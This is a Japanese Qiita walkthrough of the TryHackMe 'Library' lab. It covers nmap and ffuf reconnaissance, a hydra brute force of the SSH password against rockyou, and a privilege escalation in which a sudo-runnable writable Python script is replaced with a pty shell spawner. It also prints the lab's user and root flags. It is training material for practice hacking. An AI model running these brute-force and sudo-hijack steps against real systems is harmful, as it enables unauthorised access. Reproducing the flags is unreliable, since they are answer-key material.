LoginSignup
0
0

概要

TryHackMe「Library」のWalkthroughです。

Task1

Q1.user.txt

nmapでポートスキャンを実行します。

$ nmap -Pn -sC -A -T4 -sV 10.10.182.106 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:2f:c3:47:67:06:32:04:ef:92:91:8e:05:87:d5:dc (RSA)
|   256 68:92:13:ec:94:79:dc:bb:77:02:da:99:bf:b6:9d:b0 (ECDSA)
|_  256 43:e8:24:fc:d8:b8:d3:aa:c2:48:08:97:51:dc:5b:7d (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Welcome to  Blog - Library Machine
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Apache/2.4.18 (Ubuntu)

オープンポートを列挙できました。

ポート サービス バージョン
22 ssh OpenSSH 7.2p2
80 http Apache httpd 2.4.18

Webサイトにアクセスします。

home page.png

ディレクトリを列挙します。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.182.106/FUZZ -recursion -recursion-depth 1 -ic -c

攻撃に使えそうなものは見つかりませんでした。

/                       [Status: 200, Size: 5439, Words: 561, Lines: 93, Duration: 245ms]
images                  [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 244ms]

サイトにコメントを投稿できるフォームがありますが、送信してもレスポンスの変化は得られませんでした。

post form.png

サイト内にroot,www-data,Anonymous,meliodasなどのユーザー名が見られるのでSSHのパスワードを特定できないか調べたところ、meliodasのパスワードを解析できました。

$ hydra -f -l meliodas -P /usr/share/wordlists/rockyou.txt 10.10.98.120 ssh -t 40
[22][ssh] host: 10.10.98.120   login: meliodas   password: iloveyou1

SSH接続して/home/meliodas/user.txtからフラグを入手できます。

$ cat user.txt 
6d488cbb3f111d135722c33cb635f4ec

A.6d488cbb3f111d135722c33cb635f4ec

Q2.root.txt

sudo -lで確認すると、/home/meliodas/bak.pyがパスワードなしの特権ユーザーで実行できると分かりました。

$ sudo -l
Matching Defaults entries for meliodas on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User meliodas may run the following commands on ubuntu:
    (ALL) NOPASSWD: /usr/bin/python* /home/meliodas/bak.py

/home/meliodas/bak.pyの処理を確認します。

bak.py
#!/usr/bin/env python
import os
import zipfile

def zipdir(path, ziph):
    for root, dirs, files in os.walk(path):
        for file in files:
            ziph.write(os.path.join(root, file))

if __name__ == '__main__':
    zipf = zipfile.ZipFile('/var/backups/website.zip', 'w', zipfile.ZIP_DEFLATED)
    zipdir('/var/www/html', zipf)
    zipf.close()

/var/www/html配下のファイルやディレクトリを/var/backups/website.zipへ書き込んでいると分かりました。

os.path.joinはパストラバーサル出来る可能性がありますが、今回の環境では出来ませんでした。
/home/meliodas配下は書き込み権限があります。
既存のbak.pyを削除し、シェルを起動するコードを書いたbak.pyを作成してrootのシェル獲得を試みます。

$ ls -l ../
total 4
drwxr-xr-x 5 meliodas meliodas 4096 Jun 21 03:59 meliodas
$ rm -f bak.py
$ echo "import pty; pty.spawn(\"/bin/sh\")" > bak.py

/home/meliodas/bak.pyを実行するとroot権限を取得出来ました。

$ sudo python /home/meliodas/bak.py
# whoami
root

/root/root.txtからフラグを入手できます。

# cat /root/root.txt
e8c8c6c256c35515d1d344ee0488c617

A.e8c8c6c256c35515d1d344ee0488c617

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0